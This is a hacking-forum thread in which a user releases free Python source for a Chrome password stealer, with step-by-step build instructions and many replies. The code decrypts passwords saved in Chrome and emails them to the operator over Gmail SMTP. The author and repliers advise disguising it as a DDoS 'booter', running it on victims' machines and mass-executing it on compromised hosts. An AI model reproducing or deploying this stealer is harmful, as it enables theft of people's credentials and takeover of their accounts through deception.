

Forum:[Hack Forums](#)

Thread: [\[RELEASE\] \[FREE\] Chrome Password Stealer](#)

@beef - June 23, 2015, 10:04 am

I completed my chrome password stealer a few days ago and posted the source in the python section but didn't say how to use it. Usually you'd have to pay for this type of program so a thank you is nice. I'll put the source here and you can follow the steps to use it.

Step 1: Download [Python 2.7](#), the compiler [py2exe](#) and the module [win32](#). Download the readme.txt to see what one you need to download on the win32 website..

Step 2: Now open Python 2.7 after you've installed it. It should come up with "Python Shell". Now go to the top left corner and click New Window. Paste this code in.

```
Code from os import getenv
import sqlite3
import win32crypt
```

```
import sys
f = open("passwords.txt", "w")
```

```
# Connect to the Database
conn = sqlite3.connect(getenv("APPDATA") + "\\Local\\Google\\Chrome\\User Data\\Default\\Login
Data")
cursor = conn.cursor()
# Get the results
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
    # Decrypt the Password
    password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
    if password:

        print >>f, 'Site: ' + result[0]
        print >>f, 'Username: ' + result[1]
        print >>f, 'Password: ' + password
```

```
f.close()
```

```
#Note: End of password decrypting
```

```
#Note: Start emailing
```

```
import smtplib
import mimetypes
from email.mime.multipart import MIMEMultipart
from email import encoders
from email.message import Message
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
```

```
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
import os
```

```
#Note: Your Email Account
```

```
emailfrom = "user"
```

```
emailto = "user"
```

```
fileToSend = "passwords.txt"
```

```
user = "user"
```

```
password = "pass"
```

```
#Note: Email Subject Ect.
```

```
msg = MIMEMultipart()
```

```
msg["From"] = emailfrom
```

```
msg["To"] = emailto
```

```
msg["Subject"] = "Passwords ;^)"
```

```
msg.preamble = "Passwords yay! :)"
```

```
ctype, encoding = mimetypes.guess_type(fileToSend)
```

```
if ctype is None or encoding is not None:
```

```
    ctype = "application/octet-stream"
```

```
maintype, subtype = ctype.split("/", 1)
```

```
if maintype == "text":
```

```
    fp = open(fileToSend)
```

```
    # Note: we should handle calculating the charset
```

```
    attachment = MIMEText(fp.read(), _subtype=subtype)
```

```
    fp.close()
```

```
elif maintype == "image":
```

```
    fp = open(fileToSend, "rb")
```

```
    attachment = MIMEImage(fp.read(), _subtype=subtype)
```

```
    fp.close()
```

```
elif maintype == "audio":
```

```
    fp = open(fileToSend, "rb")
```

```
    attachment = MIMEAudio(fp.read(), _subtype=subtype)
```

```
    fp.close()
```

```
else:
```

```
    fp = open(fileToSend, "rb")
```

```
    attachment = MIMEBase(maintype, subtype)
```

```
    attachment.set_payload(fp.read())
```

```
    fp.close()
```

```
    encoders.encode_base64(attachment)
```

```
attachment.add_header("Content-Disposition", "attachment", filename=fileToSend)
```

```
msg.attach(attachment)
```

```
server = smtplib.SMTP("smtp.gmail.com:587")
```

```
server.starttls()
```

```
server.login(user,password)
```

```
server.sendmail(emailfrom, emailto, msg.as_string())
```

```
server.quit()
```

```
print ("Completed Process")
```

.

Step 3: Now you need to look for the red text named "#Note: Your email account". You need a gmail account for this. Where it says "user" swap it with your gmail email address (example@Gmail.com).

Then add in your password. If you've typed in the wrong password then an error will show up saying that.

Step 4: Now you need to make your gmail account accessible by the script. In the error it should show a link and you click on that link then you can easily select disable. If you're stuck on this part message me on skype. I'll leave my skype below.

Step 5: Last and final step for it to work :) . You must compile it. There's a [Tutorial](#) on the py2exe website but you MUST!! put the program and the setup.py into C:\Python27 folder or the tutorial won't work.

Extra: You can add some shit like this to the folder with your booter in to make it more convincing.

Code Don't delete any of the libraries because they are necessary for the booters gui. Also if it doesn't work first time close your browser and try again because the browser interferes with it.

1. Open the BeeF-Booter.exe
2. Type in "BeeFBooter" as the password
3. Type in the ip, port and time (max time is 300 seconds)
4. Don't spam click anything because it'll make the program crash.

Enjoy ;^)

- BeeF

This program took a while to make and also making this thread so if you could leave a thank you it'd be nice. Also if you're stuck and need help then you can add me on skype and I'll be happy to help :)
?

Beast.PHP - June 23, 2015, 10:11 am

Vouch for BeeF! Works like a charm, works fast as well & easy to make! :)
Great job man!

@beef - June 24, 2015, 12:45 am

(Jun 23, 2015 10:11 AM)Beast.PHP Wrote: [\[CITE\]](#) Vouch for BeeF! Works like a charm, works fast as well & easy to make! :)

Great job man!

Thanks I'm going to be adding more browsers soon.

JershDervis - June 24, 2015, 7:10 am

Nice job, this could be useful in the future for me, thanks.

Captain Cold - June 24, 2015, 7:16 am

Commenting so I can use this later, thanks for the share man!

@beef - June 24, 2015, 10:54 am

(Jun 24, 2015 07:10 AM)JershDervis Wrote: [\[CITE\]](#) Nice job, this could be useful in the future for me, thanks.

You're welcome. Glad to help.

(Jun 24, 2015 07:16 AM)TheTwins510 Wrote: [\[CITE\]](#) Commenting so I can use this later, thanks for the share man!

You're welcome too. Anytime

Maddo - June 24, 2015, 12:32 pm

Thanks man its working nice and its not that hard to make !

Xvad3SpacE - June 24, 2015, 1:45 pm

HQ post, keep posting methods and more vouches coming your way!

InfectedCow - June 24, 2015, 9:22 pm

I'm having trouble setting this up, i added you on skype but thanks

Mr. Robot - June 24, 2015, 9:26 pm

No offense and not stealing your thread but I personally use this -

<http://ge.tt/9MtaG1J2/v/0>

Drop it onto someones computer then cd c:\the directory the passwordsteal is" -o passwords.txt
For exampl;

I would drop the file into c:\users\bob\music\passwords.exe

then run cd c:\users\bob\music

then passwords.exe -o passwords.txt

then copy the passwords.txt over and delete both the exe and txt off their pc

But I love this method and thanks for the great share! this is just to help those who struggle to understand what you are saying!

Learner Boy - June 24, 2015, 10:17 pm

Thanks for the share OP.

Much appreciated

@beef - June 24, 2015, 10:29 pm

(Jun 24, 2015 09:26 PM)Mr. Robot Wrote: [\[CITE\]](#) No offense and not stealing your thread but I personally use this -

<http://ge.tt/9MtaG1J2/v/0>

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But I love this method and thanks for the great share! this is just to help those who struggle to understand what you are saying!

But then you'd have to do it manually.

(Jun 24, 2015 10:17 PM)Learner Boy Wrote: [\[CITE\]](#) Thanks for the share OP.
Much appreciated
You're welcome.

Mr. Robot - June 24, 2015, 11:27 pm

Oh yeah I completely understand that - but you can create a batch to remote execute if you would like :)

@beef - June 25, 2015, 6:46 am

(Jun 24, 2015 11:27 PM)Mr. Robot Wrote: [\[CITE\]](#) Oh yeah I completely understand that - but you can create a batch to remote execute if you would like :)
But you have to actually be there in person lol... You can't do it remotely.

Mr. Robot - June 25, 2015, 7:36 am

(Jun 25, 2015 06:46 AM)@BeeF Wrote: [\[CITE\]](#) But you have to actually be there in person lol... You can't do it remotely.
Since when? I can bulk remote execute and save it to a ftp on hundreds of slaves at a time :s

@beef - June 25, 2015, 8:15 am

(Jun 25, 2015 07:36 AM)Mr. Robot Wrote: [\[CITE\]](#) Since when? I can bulk remote execute and save it to a ftp on hundreds of slaves at a time :s
Oh that wasn't in the batch script lol. Was just talking about your batch script.

iubjaved - June 25, 2015, 8:19 am

nice tutorial, I ll check this out later

InfectedCow - June 25, 2015, 12:56 pm

vouch! really helpful and got it working for me!

Captain Cold - June 25, 2015, 3:03 pm

I need help man, I sent you a request on skype. Add me when you're available

@beef - June 26, 2015, 9:56 am

(Jun 25, 2015 03:03 PM)TheTwins510 Wrote: [\[CITE\]](#) I need help man, I sent you a request on skype.
Add me when you're available
Yea I just got home I'll check skype in a bit.

zukazuka314 - July 8, 2015, 7:11 am

i dont understanded step four...what link?
and also step five.... add me in Skype zuka.phertsuliani and let's make it with teamviewer pls

@beef - July 8, 2015, 8:29 am

(Jul 8, 2015 07:11 AM)zukazuka314 Wrote: [\[CITE\]](#) i dont understanded step four...what link?
and also step five.... add me in Skype zuka.phertsuliani and let's make it with teamviewer pls
Add me at savish. on Skype.

prof.dracula - July 15, 2015, 12:24 am

Thank you for the share. Keep up the good work.

godumbe - July 17, 2015, 10:58 pm

Does it work when run remotely using PSEXEC

@beef - July 18, 2015, 1:07 am

(Jul 17, 2015 10:58 PM)godumbe Wrote: [\[CITE\]](#) Does it work when run remotely using PSEXEC I'm sure you can but you need to compile it. Not familiar with psexec.

DGba11 - July 18, 2015, 4:48 pm

ey help me i sent u on skype myname is ned465

HIGH PAID FELLA - July 18, 2015, 4:51 pm

You should let it drop a .txt on the Desktop and let people choose what divider they can use (:/,) etc.

Unkn0wnScript - July 18, 2015, 6:46 pm

Nice thread @Beef... Hopes this helps alot of people

@beef - July 19, 2015, 7:19 am

(Jul 18, 2015 04:51 PM)Asterea Wrote: [\[CITE\]](#) You should let it drop a .txt on the Desktop and let people choose what divider they can use (:/,) etc.

I'll add that when I do it for all browsers. Might sell the multi-browser one though and I'm lazy at right now.

(Jul 18, 2015 04:48 PM)DGba11 Wrote: [\[CITE\]](#) ey help me i sent u on skype myname is ned465 yo I'm on holiday won't be on to help for another week.

godumbe - July 20, 2015, 1:45 pm

(Jul 18, 2015 01:07 AM)@BeeF Wrote: [\[CITE\]](#) I'm sure you can but you need to compile it. Not familiar with psexec.

Works great when run locally. Doesn't when run remotely.

I have experienced the same with other chrome recovery tools.

@beef - July 21, 2015, 5:45 am

(Jul 20, 2015 01:45 PM)godumbe Wrote: [\[CITE\]](#) Works great when run locally. Doesn't when run remotely.

I have experienced the same with other chrome recovery tools.

I designed it to run remotely after you compile it and then the victim opens it. You get emailed the passwords. To be honest I don't understand what you're trying to do. lol.

godumbe - July 21, 2015, 6:19 am

(Jul 21, 2015 05:45 AM)@BeeF Wrote: [\[CITE\]](#) I designed it to run remotely after you compile it and then the victim opens it. You get emailed the passwords. To be honest I don't understand what you're trying to do. lol.

I mean, it works when you run the exe by double clicking. When you run it from a command line, it fails. Looks like some issue with credential delegation.

To be more clear, I have access to my test machine. If I connect to my test machine through a terminal(winexe,psexec, or any remote shell) and execute this exe, it doesn't work.

OmfgCrup - July 21, 2015, 6:56 am

thanks mate :)Its working like a charm

@beef - July 21, 2015, 8:05 am

(Jul 21, 2015 06:19 AM)godumbe Wrote: [\[CITE\]](#) I mean, it works when you run the exe by double clicking. When you run it from a command line, it fails. Looks like some issue with credential delegation.

To be more clear, I have access to my test machine. If I connect to my test machine through a

terminal(winexe,psexec, or any remote shell) and execute this exe, it doesnt work.

Oh I understand now but why would you want to do that? What's the point lol

(Jul 21, 2015 06:56 AM)OmfgCrup Wrote: [\[CITE\]](#) thanks mate :)Its working like a charm
np you're welcome dude. You gotten any victims passwords yet? :)

godumbe - July 21, 2015, 8:49 am

(Jul 21, 2015 08:05 AM)@BeeF Wrote: [\[CITE\]](#) Oh I understand now but why would you want to do that? What's the point lol

I already have remote access to victim machine, so would prefer running the exe remotely(no RDP), than relying on victim to run it.

Please advice!

@beef - July 21, 2015, 8:54 am

(Jul 21, 2015 08:49 AM)godumbe Wrote: [\[CITE\]](#) I already have remote access to victim machine, so would prefer running the exe remotely(no RDP), than relying on victim to run it.

Please advice!

The way I spread mine is by telling people it's a booter and they download it but in a rat don't you have like something to run a file on their computer without all that shit? You could just wait til the victim goes afk and download the file then open it lol.

UltiM8_TV - September 2, 2015, 5:28 am

hey need some help with step 4, what is you skype please :)

@beef - September 2, 2015, 2:12 pm

(Sep 2, 2015 05:28 AM)UltiM8_TV Wrote: [\[CITE\]](#) hey need some help with step 4, what is you skype please :)

It's "saving." without the quotes obviously.

Phurkus - September 2, 2015, 4:14 pm

why is gmail account needed for this? just curious

@beef - September 19, 2015, 7:51 am

(Sep 2, 2015 04:14 PM)Phurkus Wrote: [\[CITE\]](#) why is gmail account needed for this? just curious
To email their passwords to you lol. You can use ftp if you really want. Email is just easier to me.

AgentClient - September 20, 2015, 7:41 am

Works great, thanks op! ;)

Lightstalker - September 20, 2015, 10:21 am

Nice job, this could be useful in the future for me, thanks. :)

@beef - September 20, 2015, 11:53 am

(Sep 20, 2015 10:21 AM)Lightstalker Wrote: [\[CITE\]](#) Nice job, this could be useful in the future for me, thanks. :)

(Sep 20, 2015 07:41 AM)AgentClient Wrote: [\[CITE\]](#) Works great, thanks op! ;)

You're welcome but remember if you need help with it pm me on skype. saving. is my skype name.

Hstrike - October 3, 2015, 3:34 pm

Hey OP, is this still working?

I remember buying a stealer for \$10 some time ago.

@beef - February 10, 2016, 12:00 pm

(Oct 3, 2015 03:34 PM)Hstrike Wrote: [\[CITE\]](#) Hey OP, is this still working?

I remember buying a stealer for \$10 some time ago.

Yes it's still working. You shouldn't buy one lol. This one is free

atom98 - February 21, 2016, 7:18 am

lol, thanks for this wonderful tool I've bailed.

@beef - February 21, 2016, 8:08 am

(Feb 21, 2016 08:18 AM)atom98 Wrote: [\[CITE\]](#) lol, thanks for this wonderful tool I've bailed.
You're welcome :D

joshua83 - September 24, 2016, 9:42 pm

FYI,

You'll get a Key Not Valid error on this if you try to run it on a different computer than it was encrypted

SIM-3933056 - September 19, 2018, 7:20 am

Do i need Virtual box for Python? ;D ?

Fitguyhh - September 29, 2018, 3:33 am

I cannot wait before I can start learning about these and using these :)
Also interested in purchasing the best quality programs :p

ahsan40 - October 9, 2018, 4:43 am

nice share man. thanks a lot.

Colderis123 - July 4, 2019, 12:34 pm

whats your skype i need help

dcn.cristi - July 4, 2019, 2:56 pm

Great job, thank you for sharing!

keijifukami - July 6, 2019, 12:09 pm

Heeyyy neato mosquito. Cant wait to give this a try. Thanks for the work!

Necko - July 6, 2019, 12:53 pm

I don't think its still working, guys.

Point - July 7, 2019, 5:48 am

(Jul 6, 2019 12:53 PM)Necko Wrote: [\[CITE\]](#) I don't think its still working, guys.
Then why bump the thread??